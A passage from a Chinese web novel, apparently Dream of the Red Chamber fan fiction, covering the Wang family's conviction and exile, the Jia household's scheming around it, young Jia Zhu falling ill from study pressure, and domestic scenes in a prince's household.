这会儿小伙伴问起来,贾瑚就有些羞愧,他甚至形容不出当时贾代善的模样,只得许诺,回头去祠堂将两位国公的画像复刻一份,带过来给他看,至于什么铠甲弓刀之类,贾瑚也不知道在哪里。 顾晓琢磨着,小孩子也不能光是读书,也得多多运动,因此便说道:“你们要是感兴趣,回头我就叫人给你们准备两套铠甲还有弓箭,再请个武师傅回来,教教你们!” 两人如今学习压力并不大,当下就一口答应了下来,也不知道这两个娇生惯养的小家伙到时候能坚持几天。 王府里面岁月静好,宫里李才人依旧水深火热,至于王家,如今已经被逼到了墙角。王子胜头一个被抓进了大理寺大牢,原本远在西北的王子腾也被解职,押送进京。两家之前就分了家,但依旧比邻而居,如今正好被人将两家的府邸都围了起来,便是下人采买也不得出入。也亏得这等大户人家,府里就有不少存粮干货,这会儿又还没有真正暖和起来,柴炭也还算充足。要不然,多围几天,一大家子都能 被活活饿死。饶是如此,人心惶惶之下,两家也自觉减少了饮食,生怕一直被困在府里,出现不忍言之事。 这也是下头人忖度了圣上心意行事,圣上可不是什么宽宏大量,如宋仁宗一样,被臣子唾沫喷到脸上都能忍下来的仁君。在一些不重要的事情上,圣上当然可以宽仁,只要足够忠心,他可以不在意下头的贪腐和其他不法之事。但若是触碰到了他的底线,那么,圣上就会露出他的獠牙,让大家知道,什么叫做雷霆雨露,俱为君恩。 王家若是只是私吞了一点贡品,圣上还可以容忍。人都有贪婪之心,送上门的好处,有几个人忍得住呢?结果如今他发现,自己乃至几位先帝,都被王家当成了傻子。 王家当年垄断了东南的洋货买卖也就罢了,谁叫那会儿开国的时候,多多倚仗王家手底下的海军,得靠着他们扫除海寇,平定海疆,免得腹背受敌。加上当年漕运被北边控制,想要运粮,也得从海上走,这才许了王家许多好处!然而他们从这洋货买卖里头抽成油水已经足够丰厚,就这还不够,连人家海外小国上贡给皇室的东西也敢私吞下来。看下头人递上来的证物,王家甚至是将好的自个留了下来,剩下的才送到了宫中。也就是说,几十年来,皇家用的是王家挑剩下来的,简直是岂有此理! 圣上越想越气,咱们老徒家对你们王家还不够好吗?没错,你们王家投靠太祖,最后只是封了个县伯,可问题是,开国那会儿,你们王家也没立下什么攻城略地的功劳,毕竟,那会儿绝大多数仗都是在陆地上打的,你们最多就是趁机吞并了一些海盗团伙,剿灭了一些倭寇,这点功劳能封伯,已经是不错了!何况,之后还给了你们王家一个世职,就算是爵位到了头,也可以保证你们王家与国同休,代代富贵。 没错,你们后来老老实实将手里的海船和人手给交出来了,可要不是这般,谁肯将那等肥差给你们王家,多少人暗地里头惦记着呢!你们就算是自个继续出海打劫,也未必赚得了那么多!为了这事,当初不知道多少人眼红,你们还落下了许多亏空。就这样,朝廷也没多追究,只叫你们补足亏空就行。当时瞧着你们家靠着儿女婚事捞钱填补亏空,还当你们是老实人,将那些好处都分润出去了,原来竟是私底下藏了这么多好东西! 退一步越想越气,忍一时越觉越亏!想想王家挥霍了这么多年,很可能挥霍的都是本属于自己的钱,圣上就恨不得将王家人碎尸万段! 圣上又不是那等被臣子架空的傀儡皇帝,他执政多年,去年才用宫变后的血流成河让朝野上下看到了他的手腕和权威,如今既然他已经明确表露出了对王家的厌恶,那么下头的人只有趋奉的道理,谁会为了一个注定要倒霉的王家费心呢? 贾家这边,因为不知道王家究竟掌握了多少的把柄,哪怕尽可能销毁了证据,贾赦还是硬着头皮叫心腹出去打探王家的案子到底到了什么地步,可还有缓和的余地。 贾赦同样是个利己主义者,在他发现大家都对王家的事情敬而远之时,立马就意识到,这事根 本不能沾,只要一沾手,到时候就是黄泥巴掉进□□里,不是屎也是屎了! 他迅速收回了所有的人手,跑到荣庆堂跟贾史氏表示,王家这次是没救了,还是趁早切割为好! 当时王氏也在,只哭得快要昏过去,可惜的是,贾赦跟贾史氏都是铁石心肠,贾史氏在确定王家不能救之后,当下就命人将王氏先看了起来,免得她一时冲动,搞出什么事来。 “那王家要是倒了霉,咱们家?”贾史氏还是有些不安。 贾赦冷笑道:“就算是牵连到咱们家,那又能如何?谁叫老二娶了王家女呢!不过,王家这事牵扯到的未必只有咱们一家,别的不说,王子腾这些年在军中混得如鱼得水,除了有咱们家的提携,只怕也走了不少门路。他们要是敢把这些人都抖落出来,就算是圣上想要网开一面,这些人也非得叫王家去死不可!依我看,王家只怕还存了东山再起的心思,万万不会狗急跳墙,将亲戚卷进去的!要不然,将来案子结了,他们拿什么来要挟咱们呢?” 贾史氏见贾赦说得头头是道,看这个儿子的眼神都不一样了,原本以为这就是个只会吃喝玩乐的废物,原来竟还有几分眼光。她却没想到,贾赦好歹也是跟着贾源长大的,贾源纵然泥腿子出身,那也是积年的老狐狸,言传身教之下,贾赦也不会变成那等糊涂种子。 贾史氏听贾赦说完,叹道:“希望如此吧,王家此次若是能逃过这一劫,咱们做亲戚的,拉拔一下,也是应当的!” 贾赦顿时又冷笑起来:“这回又知道王家是亲戚了,当初我岳父家里何曾不是亲戚,怎么就不见你们有什么表示呢!” 贾史氏还想要争辩,贾赦已经是拂袖而去,临走还说道:“也罢,我就知道,在老太太你那里,我这边的事情都不重要,就老二是你的心头肉,连同老二岳家都比我岳家要紧!” 贾史氏气得哆嗦,指着贾赦的背影,骂道:“你个孽障,记仇不记恩的东西!”在贾史氏看来,自己将贾赦生下来,那贾赦就该对自己言听计从,否则就是不孝。 贾赦听得清清楚楚,走得更快了!他要不是念在生身之恩,早就跟贾史氏彻底撕破脸了,光是拿着“三从四德”,就能把贾史氏关进佛堂吃斋念佛,哪里还能叫贾史氏在荣庆堂指手画脚。可惜他明白得太晚了,以至于现在再想要夺回荣国府的权柄,反倒是束手束脚。不过,他如今也发现,这荣国府的家真不是那么好当的,与其闹得不可开交,不如先静观其变,以贾政两口子的德性,迟早要搞出什么事端来,到时候拿这个当借口,就算不能将老二一家子扫地出门,也要叫他们灰头土脸,再也没脸代表荣国府行事。 王家一干姻亲都袖手旁观,而痛打落水狗的人却越来越多,王家之前的许多事情也被翻了出来。比如说敲诈使节,强逼东南一带的海商孝敬,还私底下带人劫掠商队,俨然不失祖上本色。另外就是王家老爷子做太尉时候的种种不法之事,还有王子腾在任上的各种破事。 许多事情,原本就是官场上的惯例,王家 老爷子、王子腾不做,别人也在做。但如今要追究的是王家人⑼[(,自然大家心照不宣,趁机将黑锅都丢到了王家人身上。 御史台一封封的弹劾折子,雪片一般飞到了御案上,连同王家的一干姻亲故旧也被牵连。毕竟,王家犯下这么多的事情,没有党羽的遮掩,哪里能到今天才被揭发出来。王家属于勋贵圈子,文官们素来跟武将不和,如今逮着这个机会,恨不得将那些勋贵一杆子打死,哪有放过的道理。 贾家也没逃过这一劫,贾赦听得消息,只得捏着鼻子,一边破口大骂,一边老老实实上折子自辩。 圣上那边瞧着事情越搞越大,也觉得不能再继续放纵下去。他是想要收拾王家,却并不想要牵连过甚,搞出一场大案来。勋贵固然如今已经迅速堕落,但是文官也不是什么好东西。朝堂之上,很多时候看的不是谁是谁非,关键在于平衡。宋明两朝重文轻武导致的一系列后果,大家都已经看到了,所以到了本朝,哪怕如今没什么仗要打了,朝廷在很多时候依旧倾向武勋。像是内阁之中,总会有一两个阁臣出自勋贵集团,要不然的话,王家老爷子何以能捞到太尉的位置。 戴权得了圣上的示意,便也跟着行动起来。 作为圣上身边的心腹大总管,号称内相的人物,戴权的一举一动都代表着圣上的心意,他叫自个的徒子徒孙放出风去,然后收了各家勋贵的厚礼,顿时,大家就明白,此事到此为止,圣上不会再追究了。 贾家这边同样给戴权送去了一株足有三尺高的红珊瑚盆景,还有一座八扇的金地牡丹缂丝屏风,可谓是大出血了一把。但是贾赦倒是一点也不心疼,毕竟,这两样其实都是贾史氏的私房,就算不送出去,将来也落不到他手里,多半是给贾政一家子。原本贾史氏想从公中挑东西,结果贾赦断然拒绝,毕竟,公中的东西大半都该分给贾赦这个袭爵人,贾政能分个三成就不错了。这次可是王家惹出来的事情,凭什么要叫贾赦吃亏。 贾史氏倒是想要让王氏出这笔花销,但是谁知道以后追究王家的时候,会不会追究到王家女的嫁妆上去,毕竟,王氏的嫁妆里头,肯定也有当年王家藏匿的赃物,你如今将东西送给了戴权,回头那边拿着嫁妆单子找上门来,你从哪儿拿出一样的东西来填补呢? 王氏这些日子每天都在哭天抹泪,弄得贾政直接避而远之。王氏觉得委屈,贾政还觉得冤呢!贾政对王氏感情其实有限,王氏生得还算不错,却并不是那等明媚鲜妍的类型,又无甚情趣,也不可能如同那些通房侍妾一样,对贾政婉转奉承,所以,一开始的新鲜之后,贾政到王氏这边来,就跟例行交差一般。 如今一见王氏就是哭哭啼啼,要他想办法救自家两个舅子,连贾史氏都没办法,贾政拿什么去救?拿自个的脑袋吗?如此,贾政能做的唯有逃避,每日里不是在书房跟清客相公一起谈天说地,就是在周姨娘那里厮混,等闲都不往王氏那里走半步。 贾政能躲,贾珠和元春却躲不开。 元春年纪小,不懂事,每每被王氏的嚎 啕大哭吓得跟着哭泣,奶娘怕元春给哭坏了,也找着借口将元春拘在屋里,尽可能不往王氏那里凑。如此,遭殃的便成了贾珠。 贾珠是个好孩子,性子柔软,也颇为孝顺。如今瞧着母亲这副模样,贾珠却只觉手足无措。他还是个孩子呢,又能如何,只能笨拙地安慰王氏。 王氏半点不觉得将这般压力放在一个六七岁的孩子身上有什么不好的,每日里只在贾珠那里哭诉自个的种种委屈,贾史氏如何无情,贾政如何无能,大房又如何落井下石。她张口便是:“珠儿,母亲以后只能靠你了,你一定要好好读书,将来才能给母亲撑腰……”如此之类的话,只弄得贾珠心里沉甸甸的。 贾珠如今还在启蒙阶段,就被压上了要给母亲撑腰,给舅家平反的重担,回去之后,只能愈发努力念书。贾珠的先生就是个老秀才,最是信奉勤能补拙这一套,瞧着贾珠如今愈发用功,也是欣慰,觉得勋贵人家的子弟也不像自己想的那样,只当读书是个乐子,不知道勤学苦练的道理。因此,也跟着增加了许多功课。他自个对于经义理解也不深刻,要不然也不至于身在京畿这个科考相对简单,名额也比较多的地方,老大一把年纪,还止步于秀才。他却跟贾珠说什么“书读百遍其义自见!”然后便命贾珠每篇文章必须读百遍,还得抄百遍,之后更要默百遍。 贾珠每日里学得昏天黑地,回去还得安慰母亲,三五不时还得被抽风的贾政考问一顿,之后总要被贬低一番,生怕多夸一句,贾珠就飘了。 这般重压,便是成年人也没几个受得住的,何况一个才刚入学的孩子,贾珠受不住,这一日夜里默写文章时,只觉头晕目眩,眼冒金星,手上毛笔宛若有千钧之重,一个拿不住,笔便摔落下去,整个人再也撑不住,直接一头栽倒。! 第 54 章 贾珠病得厉害,贾史氏听说其中缘故之后,差点没抄起拐杖,将贾政打一顿。 “珠儿才多大的孩子,就逼着他这般用功,看看这手腕都肿起来了!你小时候,你老子可曾这么逼过你?那什么先生,快将他给撵走,这启蒙的孩子,先老老实实读《三百千》不行吗?上来就背什么四书,还都一百遍,他读书的时候是这么读的吗?”贾史氏骂得贾政和王氏都抬不起头来,“珠儿这么好的孩子,给你们教,都要给教坏了!” 贾政在贾史氏这里,真的是不敢提什么棍棒底下出孝子之类的话,这会儿只将责任推卸给王氏,说道:“儿子也没硬逼着珠儿用功啊,他读书读得用心,儿子还跟下头的人夸他呢,不信母亲去问!倒是王氏,听说这些日子因着王家之事,一意要珠儿用功,珠儿一向孝顺,哪里敢叫他母亲失望!” 贾史氏素来是个偏心的,这会儿听贾政这般说,顿时冷厉的眼神就落到了王氏头上,王氏只吓得一个哆嗦,几乎是连滚带爬地跪到贾史氏面前:“老太太,儿媳妇自个也没读过什么书,哪里知道这些。儿媳这些日子因为娘家的事伤心,这才在珠儿那里多说了几句,哪里想得到会是这般!儿媳就珠儿一个指望,只有盼着他好的,哪里想得到会变成现在这样!珠儿病了,我这个做娘的,只恨不得病的是自己……”说着,她又嚎啕大哭起来。 瞧着王氏一把鼻涕一把眼泪的模样,贾史氏愈发嫌弃起来,如今王家变成现在这个样子,贾政再想要依靠岳家的力量是不可能的事情了,王氏又是个糊涂的,连孩子都照看不好,还能指望她做什么!可惜的是,为了不让王家那边狗急跳墙,自家这边也不能对王氏做什么,要不然,叫王氏病逝了,给贾政重新娶一个好人家的姑娘做妻子,才是上策。 贾史氏却根本没想过,好人家的姑娘干什么要给贾政这个靠着蒙荫才能入仕的家伙做继室呢? 二房出了这样的事情,那真是叫大房看足了笑话。 张氏稍微同情了一下贾珠这个倒霉孩子,之后便不放在心上了!当初要是叫王氏得逞,自己的瑚儿只会比如今的贾珠更可怜,王氏那就是自作自受,至于贾珠,谁叫他摊上王氏这样一个恶毒的妇人做亲妈呢? 贾赦同样也心疼了一下贾珠,但是很快就觉得,二房这样正好,省得他们因为有贾珠这个可能有出息的,又上蹿下跳起来。他倒是开始心疼起贾瑚来了,贾瑚小小年纪,就要去给人做伴读。 伴读这种差事有什么好的,出了什么事,被惩罚的都只会是伴读,自家宝贝儿子不会在王府挨先生的打吧! “你胡思乱想什么呢!太妃娘娘是什么人,我们从小一块长大,不比你清楚!”张氏听得贾赦的忧心,只气不打一处来,“当日要不是我在府里头处境艰难,太妃娘娘何苦多这个事,毕竟,瑚儿这么大的孩子,还没完全长成,一个不注意就病了伤了的,若不是真心拿我当姐妹看待,她何必担上这个责任!瑚儿去王府只带了周嬷嬷一个跟着伺候,却一直平 平安安的,连个头疼脑热都没有,就知道他在那里从没受过什么委屈!他要是被先生打了,那也不会是因为小王爷,定然是他自个不学好!” 被张氏这么一说,贾赦都有些愧疚起来,他跟张氏商议道:“你这话说得有理,咱们瑚儿也是多劳王府照顾,回头咱们还是多准备一些厚礼,给王府那边送过去!人家就算是不缺,那也是咱们家一片心意!” 张氏叹道:“我又何尝不这样想,之前不光是给王府,便是隆安侯府那边,也都准备了厚礼,只是她们反倒是怜惜我生活不易,虽说礼收下了,但是回礼也颇为丰厚,咱们再那般客气,反倒是叫那边为难!” 皇子开府虽说也有不少钱财,但是真要说起来,底子并不算厚实,那等外家得力,母妃得宠,自个也有差事的,自然能有诸多外快,像是平王府那种三样皆无的,能保持每年略有盈余,便算是不错,反倒不如贾府这种祖上就积累了巨大财富,还有大量爵产的人家家底厚实。 张氏也就是想得太多,实际上平王府的花销真没想象中那么大,徒宏远当皇子的时候就是个小透明,并没有养成什么太烧钱的爱好,他又不在外头包戏子,也不喜欢什么金石古玩,绝大多数时间都宅在王府里。除了各种人情往来和日常支出之外,他每年最多的花销就是补贴宫里的李才人、李氏还有李家人,所以,哪怕他分到的皇庄在一众兄弟中只是一般,每年还是能有不少盈余的。 只不过以前这些盈余落不到顾晓手里,连公中都不入,被徒宏远放在自个的私库之中,只怕私心里头多半都是要留给李氏母子。如今徒宏远这一走,顾晓干脆利索地将他的私房都充入了公中,以后会按照分家的比例分配给府里的几个孩子!其他人知道了,还得说顾晓没有私心,毕竟顾晓完全可以将徒宏远的私房收为己有,或者是给徒嘉钰,以后压根就不会有另几个孩子的份! 贾赦倒是深以为然,贾家一开始只是乡下土财主,骤然富贵之后,这几代下来,愈发奢靡起来。像是贾史氏,光是吃饭,就要大厨房那边把天下的美食用水牌写了天天转着吃,还得叫儿孙们每日里孝敬菜品,府里头小丫头都能吃肉吃腻烦,更别说别的了! 贾赦自个同样是个花钱没数的人,他喜欢搞收藏,又只买不卖,光是这一项,每年就不知道要搭进去多少。加上府里头从贾史氏管家的时候就开始带头损公肥私,又打出了宽仁的名义,纵得下人们一个赛一个会偷奸耍滑,中饱私囊。如今虽说还没到寅吃卯粮的地步,却也少有盈余,很多时候,都不得不动用公中之前的存银。对此,大家还不以为意,总觉得家里的富贵,几代都享不完。 贾家开国那会儿朝廷就赏赐了大量爵产,贾源贾代化父子两个打仗的时候,通过各种渠道得来的战利品也多,底子的确厚实。事实上,贾家要不是后来倾尽全力,修建大观园,依旧可以安享富贵很多年。 推己及人,贾赦就觉得平王府只怕日子也是如此,太妃又不是喜欢占便宜的人,总要礼尚往来,回头反倒是给人家增加负担。想到这 里,贾赦叹道:王府那边如今也没个能出门顶事的男人?[(,长史也不是什么得用的,对外头的事情只怕消息也不灵通。回头咱们家要是知道市面上有人出手庄子铺子什么的,可以跟王府那边通个气,叫他们多置办一些产业,自然也能多一些出息。” 张氏点了点头,她早就有心报答,只是自个也是自顾不暇,如今贾赦有这份心意,张氏自然乐见其成。 “瑚儿那边王府的先生听姑爷说还是颇有些名气的,以后瑚儿还能跟着小王爷去弘文馆读书,也不知道之前弘文馆闹了那么一场,如今的先生如何?”张氏见贾赦竟是比之前振作了一些,也觉得有些欣慰,毕竟,他不能一辈子在家里享乐,等着贾瑚顶立门户吧,这也太说不过去,还是叫他先发挥出一点作为父亲的作用才是。 贾赦犹豫了一下,还是说道:“那我回头打听一下!”贾赦虽说没给皇子做过伴读,却也曾经蒙圣恩在弘文馆厮混过几年,是里头有名的祸害,好在弘文馆如今彻底换了一批人,要不然的话,贾瑚进去,只怕还得受自己这个老子的连累。 想到这里,贾赦便有些讪讪,只得转移了话题,说道:“不管怎么说,瑚儿只要用心,前程应该没什么问题,倒是冬生这边,他早产体弱,只怕经不得苦读!” 张氏也有些发愁:“瑚儿好歹将来还能继承一个爵位,到了冬生这边,他自个要是不用功,难不成叫他以后跟荣宁街那些旁支一样过日子?” 贾赦赶紧说道:“那可不行,哪怕给他捐个官呢,总不能叫他以后没了着落!” 张氏叹道:“罢了罢了,日后再说吧,总要看看他资质品性再说!” 贾赦笑道:“咱们的孩子,还担心什么资质品性,只要不是那等牛心左性之人,就是个好孩子!” 说到这里,贾赦又有些心痒痒,他凑到张氏那里说道:“如今咱们都有两个小子了,等回头除了服,咱们再给他们生个妹妹,如何?” 张氏哪怕已经生过两个孩子了,听贾赦这般说,还是有些羞赧,忙说道:“说什么呢,等除了服,我都多大年纪了,还生,没得叫人笑话!” “有什么好笑话的,老太太那边生敏妹妹的时候,可也年纪不小了,大家只有说她好福气的,谁敢笑话她!”贾赦不以为然地说道,“还有老二那边,如今王家出了事,老太太指不定要给老二弄个偏房呢,到时候定然还要生育,咱们两个可不能叫二房那边给比下去!” 被贾赦这么一说,饶是张氏对王氏各种恶心,却也未免生出了一点兔死狐悲之心,差一点,自己就也要落得比王氏还不如的地步。她很快就收拾好了心中的那点怜悯,问道:“不至于吧,王家这次难道彻底起不来了?老太太这般不给余地?” 贾赦压低了声音,说道:“哪里还有什么余地?王家这次的事情闹得大了,上头若是高高拿起,轻轻放下,岂不是叫下头人愈发不将这事放在心上,藐视皇家威严吗?哪怕是为了杀鸡骇猴,王家这次也别想捞到什么好!” 果不其然, 在意识到圣上不打算将此事扩大化之后,王子腾这边也已经被押送进京,直接就开始了三司会审流程。 这等事情,根本没有辩驳的余地,王子胜和王子腾都老老实实认了罪,不过他们也就是替过世的王老爷子认罪,这事发生的时候,他们还没成丁呢!只是,他们既然享受到了其中的好处,也别想逃过接下来的处罚。 若是此案按照大不敬来判,王家一大家子都得搭进去。圣上哪怕对王家各种不满,但也不能真的将事情做绝,以免那些开国勋贵生出兔死狐悲之心。因此,圣上斟酌一番之后,直接下达了最终的判决,王家老爷子死后追赠和谥号都被收回,王家抄家,连同出嫁女嫁妆里的贡品也被追回。至于王子胜和王子腾兄弟两个,原本罪责更大的应该是王子胜,但是王家到了王子胜这一代爵位已经到了头,反倒是王子腾继承了王家的世职,因此,兄弟两个同罪,王子胜又因为赌博的缘故被多打了五十大板,然后兄弟二人都被判了充军流放西北,以观后效。 之后,圣上又表示,看在王家祖上与国有功的份上,网开一面,不在追究妻儿,家里女眷发还嫁妆。她们如果愿意,可以带着孩子跟着男人一起流放,如果不愿意,也可以守着孩子度日。说是发还嫁妆,指望抄家的那些人不中饱私囊是不可能的事情。所以,还回来的嫁妆都缩水了许多,那些容易携带变卖的金银细软没了大半,剩下的就是些粗笨的家具摆设,还有田产房产之类的不动产。 能逃过这一劫已经是邀天之幸,不论是王子胜夫人还是王子腾夫人都没有再追究的意思,老老实实从老宅搬了出来,带着孩子还有没被遣散的下人去嫁妆庄子上暂住。 王子腾成婚多年,与自家夫人仅有一女,唤作王熙鸾,如今已经四岁,之后,王子腾夫人便再无产育。不过夫妻两个感情深厚,王子腾在女色上也不上心,王子腾夫人给他安排的通房也被拒了,二人之间并无二色。因此,王子腾夫人便迅速开始变卖自己嫁妆里的产业,预备换成金银细软,又求了娘家那边,好护送她们娘俩和几个心腹下人跟着王子腾一起前往西北,甚至已经先叫心腹去西北那边置办一些产业,供他们一家人生活。 王子腾夫人肯与王子腾同甘共苦,王子胜夫人可没这样的心思。王子胜是个典型的纨绔,贪花好色,府里一堆通房姬妾。也就是王子胜夫人管得紧,才没叫生出庶出的子女来。判决刚一下来,王子胜夫人就将那些通房姬妾给卖了,毕竟,你都是充军流放的人了,哪里还有纳妾的资格! 尤其这次的事情,根本就是王子胜作孽。原本家里日子过得好好的,她还怀了身孕,再有几个月便要生产。之前府里被封那阵子,要不是有几个得力的下人照料着,这一胎只怕都保不住。除了肚子里这个孩子之外,夫妻两个还有一个儿子王仁,如今也才两三岁。就因为王子胜染上了赌瘾,就差没闹得家破人亡。要不是还有孩子在,她能直接跟王子胜和离! 如今王子胜夫人恨自己这个不省事的丈夫还来不及,巴不得他死在外头算了,哪里还肯跟着 他一路颠簸到西北,便以要养胎和照顾孩子为由,表示自己会先在京城生下孩子,等着孩子略大一点,就带着孩子回金陵去。 王子胜也不是那等没脸没皮的,两家人都被他连累到这个地步,也没脸再叫自家媳妇带着孩子跟着自己去吃苦,因此,王子胜夫人这么一说,他就答应下来。 王家兄弟两个被判充军,对于王子胜那是晴天霹雳,他从小到大,何曾吃过什么苦头,这些日子在牢里都在琢磨着自行了断,免得一路上受苦,到了地方之后也不得安宁。可惜的是,他这种人,也最是惜命不过,对自己根本下不了手,最终只能一日推一日,等到流放的日子都快到了,还没下定决心,只得走一步看一步。 而对王子腾来说,却还留了一线生机。这也是他跟别人交易的结果,他这些年本来就一直在西北那边经营。如今过去,就算起点低了点,在熟悉的地方想要往上爬却也容易一些,若是被流放到西南或者是辽东,可就没这样的好事了,一个不注意,是真的要送命的! 贾家也知道,王子腾不是那种会甘心沉沦的人。只是,在没有其他助力的情况下,一个被充军流放的犯人,就算是再有能力,想要出头也不是什么简单的事。无非就是做人留一线,日后好相见罢了。 因此,贾史氏知道王家的判决下来之后,便准备了一些银钱衣物吃食之类分别送了过去。见到王子腾夫人,又假惺惺地表示,鸾姐儿年纪还小,哪里经得起长途跋涉,西北又苦寒,不如将鸾姐儿留在京城,由王氏这个姑母代为抚养。 王子腾夫人倒是有些心动,她愿意跟着丈夫同甘共苦,只是女儿生下来就没吃过苦头,让她跟着自己夫妇去西北,不说之后生活水平会大幅度下降,便是以后婚嫁也是个问题,在那等边关,又能找到什么好亲事。 但是,王子腾却信不过贾家,主要也是对自家那个妹妹有些了解,这位是玩不过贾家那位老太太的。尤其之前王氏又得罪了贾赦两口子,明面上人家不计较,私底下能不找王氏的麻烦?如今王家衰落,王氏没了靠山,自己都自身难保,真要是将自家女儿留给王氏抚养,那王氏倒霉的时候,鸾姐儿能不受牵连,说不定还要被王氏迁怒。就算是真想要将鸾姐儿托付出去,他宁可选择薛家那边,起码薛家有钱,又有着生意人的圆滑,等闲不会将事情做绝! 还是那句话,王子腾两个妹妹都不是什么聪明人,他怕女儿也被教坏了,才不肯托付给两个妹子。至于说什么女儿到了西北找不到好亲事的说法,王子腾更是不放在心上。他对自己还是有几分自信的,总不能等到女儿出嫁的时候,自己还不能出头吧!到时候自己若是不能出头,女儿就算真的高嫁了,也不是什么好事! 王子腾夫人就这么被丈夫说服了,拒绝了贾家的好意。贾史氏也没失望,她就是有枣没枣打一杆子,留下王熙鸾,也是留一条后路,日后王子腾就算是起来了,也不至于记恨贾家如今不肯施以援手。 既然不能在王子腾一家身上做文章,贾史氏就将视线投向了王子胜夫人 。王子胜夫妻两个就算闹翻了,还有个王仁在?,王仁终究是王家这一代如今唯一的男丁,还是有几分价值的。甚至若是日后王子腾无子,那王仁的价值就更大了! 因此,贾史氏便叫自己的陪房去劝王子胜夫人,表示穷在闹市无人问,富在深山有远亲。王家老爷子在世的时候,一大家子就早早从金陵搬到了京城,兄弟二人与族亲根本没多少往来。如今他们落魄,金陵那些族亲未必肯施以援手不说,反倒是有可能生出其他心思来。与其如此,不如留在京城,大家也好有个照应。 王子胜夫人算起来跟贾史氏也是亲戚,她母亲也是出自史家,当然,不是史侯爷这一房。有道是阿房宫,三百里,住不下金陵一个史,就知道史家是何等枝繁叶茂。有着这样一重关系,王子胜夫人自然相信贾史氏那一套为她好的鬼话。她本身就身怀有孕,正是敏感多思的时候。被贾史氏一说,顿时觉得丈夫都靠不住,更别提那些没见过面的族亲!到时候,她带着两个年纪尚小的孩子,与孤儿寡母无异,未必玩得过他们,可别被吃了绝户!而京城这边就不一样了,她还有一些产业,又有贾家和史家帮衬,日子也过得下去,当下便答应下来。 王氏对此很是欢欣鼓舞,哪怕她之前跟王子腾夫妇更亲近,但是王子胜这个长嫂嫁过来的时候,对小姑子也是极为亲厚的。王氏素来以娘家自傲,这次娘家栽了这么大跟头,以至于以后都没人能给自己撑腰,如今长嫂能留下来,日后自己便是受了什么委屈,也有个能倾诉的地方。 王子腾与王子胜出发的那一天,王氏虽说不方便出门,却也接了王子胜夫人过来,姑嫂二人一起抱头痛哭了一番,王子胜夫人摸着肚子里孩子的动静,再看一看乖巧听话的贾珠和玉雪可爱的元春,心中却是有了些打算。! 微云烟波向你推荐他的其他作品: 希望你也喜欢 第 55 章 王家的案子尘埃落定的时候,都已经是暮春时节。 王府里的日子依旧过得波澜不惊,顾晓叫针线房给各处裁了夏衫,打造了新的首饰。 得到新衣裳新首饰之后,几个太姨娘还有佳婉、佳姝两个小姑娘都不约而同地来正院给顾晓请安。 “虽说还没入夏,这会儿日头也上来了,别把孩子给晒着了!”瞧着周氏她们几个拉着穿着新衣的佳婉和佳姝给顾晓行礼,顾晓忙叫起,嘴里说道,又吩咐给两个孩子端了果子露过来。 “给娘娘请安,不是应当的吗?都是娘娘素来慈和,才叫咱们躲了懒!”陈氏在一边说道,她如今养着佳姝,胆子也渐渐大了起来,不似之前一般只跟在周氏后头行事。 佳婉和佳姝如今还没留头,自然戴不得什么钗环,因此,头上只扎了两个小揪揪,装饰了几朵小珠花,倒是胸前挂着璎珞,手腕上戴着猫爪响珠镯,粉团子一般,看着就叫人觉得喜欢。 顾晓也很喜欢这种小萌物,当然,属于那种云养可以,不要放在自己身边的那种,她并不想承担太多的责任,只需要尽作为嫡母的义务就行。 “哪里是你们躲懒,是我躲懒才对!”顾晓又笑着叫人拿了新鲜的果子过来,“庄子上刚送来了新鲜的樱桃,是今年的头茬,我尝着还好,你们也试试看,一会儿回去的时候都带一些回去,若是觉得酸,也可以做成樱桃酪,留着慢慢吃!” “又偏了娘娘的好东西,倒是叫我们过意不去了!”刘氏笑道,伸手拈了一粒樱桃送进嘴里,酸甜可口,她忍不住眯起了眼睛。还是太妃娘娘当家好啊,放在以前,这些好东西哪里能落到她们这些小侍妾手里。 “喜欢吃就好,这樱桃好是好,就是个时令玩意,压根存不住,多出来的除了蜜渍樱桃和樱桃酪之外,放着也是白坏了!”顾晓笑道,“今年春天雨水不算多,庄子上种了些西瓜和甜瓜,再有个一个月,也该熟了,等送过来,府里头各处也能多分几个!” 何氏吃了两个樱桃,眉开眼笑道:“娘娘这话一说,妾身回去就要数着日子了!” 何氏这个年纪,放在后世还是个高中生呢,顾晓难免有些怜惜,便笑道:“今年叫庄子上种了不少瓜果,就算是这两年挂不了果,也能在市面上买去,你们要是喜欢吃什么,尽管说便是,又值得了什么!” 顾晓话是这么说,几个太姨娘也没有得寸进尺的意思,如今顾晓已经足够宽和了,不用再争男人的宠爱,她们日子也都过得松快,几个没孩子的,如今反而跟没出嫁的小姑娘一般,私底下凑在一起,每日里玩乐,很是自在,她们可不想贪得无厌,回头惹恼了顾晓,反落不着什么好来。 因此,一个个都是只称赞顾晓如何宽和大度,并不提别的什么。顾晓也不再多说,只又叫人端了一些蜜饯和点心过来,坐在一起谈笑。 说话间,就听到几声奶声奶气的“汪汪”声,两只才断了奶的小狗摇动着小短腿,屁颠屁颠地跑了进来,后面还跟着 走得跌跌撞撞的末儿。这两条狗都是京巴犬,前几日刚从猫狗房抱回来的,一只毛色纯白,另一只却是夹花的,耳朵和背部是驼色,其他地方也是白色,看起来都很是娇小可爱。 末儿兴奋地叫着:“狗狗,狗狗!”就跑过来要拽小狗的尾巴。 顾晓忍不住扶额,果然这么大的孩子就是宠物的克星,这小狗才从猫狗房抱回来还没几天,就成了末儿的新宠,恨不得睡觉也要抱着才行,只是他下手没轻没重的,头一天就揪掉小狗一撮毛,也亏得这些狗都是猫狗房一代代筛选出来的亲人的品种,被拽疼了,也没有反口咬末儿,要不然的话,这养狗就变成灾难了。 两只小狗利索地躲到了顾晓的腿后,蹭着顾晓的裙子,叫声都显得委委屈屈,末儿却丝毫没察觉自己被嫌弃了,他看到顾晓,响亮地叫了一声:“妈妈,末儿要狗狗!” 顾晓有些无奈,只得耐心地说道:“狗狗还小呢,你这般就把它们给吓着了!想要跟它们一起玩,你得轻轻的,明白了吗?” 末儿根本没听明白,见狗狗躲着他,他也不生气,走到顾晓那里,就伸手要顾晓抱。顾晓无奈,只得伸出手去,将他抱到自个腿上坐下,又指着佳婉和佳姝说道:“末儿,这是你大姐姐和二姐姐!” 末儿之前也见过几次佳婉和佳姝,不过小孩子还没完全认人,也不怎么熟悉,但是嘴上还是鹦鹉学舌一般叫道:“大姐姐,二姐姐!” 佳婉和佳姝连忙回礼:“弟弟好!” 几个太姨娘之前见末儿进来就从座位是站起来,这会儿也要给末儿行礼,顾晓连忙说道:“末儿是晚辈,不必如此,没得折了小孩子家家的福气!” 